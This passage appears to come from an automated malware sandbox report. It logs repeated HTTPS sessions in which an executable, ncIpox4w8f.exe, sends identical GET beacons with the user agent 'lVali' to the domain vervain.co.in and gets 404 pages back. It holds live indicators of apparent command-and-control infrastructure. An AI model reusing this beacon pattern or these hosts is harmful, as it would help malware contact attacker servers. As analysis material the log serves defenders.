2022-08-05 13:08:24 UTC	2	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49775	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:51 UTC	19	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:51 UTC	19	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:51 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:51 UTC	19	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49776	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:53 UTC	20	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:53 UTC	20	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:53 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:53 UTC	20	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49777	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:58 UTC	21	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:59 UTC	21	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:59 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:59 UTC	21	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49783	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:00 UTC	22	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:01 UTC	22	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:01 UTC	22	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49789	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:01 UTC	23	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:02 UTC	23	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:02 UTC	23	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49791	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:03 UTC	24	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:03 UTC	24	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:03 UTC	24	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49794	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:04 UTC	25	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:04 UTC	25	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:04 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:04 UTC	25	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49795	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:06 UTC	26	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:06 UTC	26	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:06 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:06 UTC	26	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49796	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:08 UTC	27	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:08 UTC	27	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:08 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:08 UTC	27	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49797	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:09 UTC	27	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:10 UTC	28	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:10 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:10 UTC	28	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49758	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:25 UTC	2	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:25 UTC	3	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:25 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:25 UTC	3	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49799	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:10 UTC	28	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:11 UTC	29	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:11 UTC	29	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49800	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:11 UTC	29	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:12 UTC	30	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:12 UTC	30	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49801	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
